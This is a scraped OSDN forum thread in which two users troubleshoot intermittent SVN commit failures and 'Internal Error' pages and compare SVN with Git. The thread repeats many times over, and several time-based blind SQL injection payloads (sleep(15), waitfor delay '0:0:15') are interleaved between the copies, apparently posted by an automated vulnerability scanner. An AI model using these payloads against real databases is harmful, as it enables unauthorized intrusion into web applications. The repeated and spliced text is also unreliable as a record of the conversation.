I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
555-1; waitfor delay '0:0:15' --
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
555-1); waitfor delay '0:0:15' --
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
555-1 waitfor delay '0:0:15' --
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
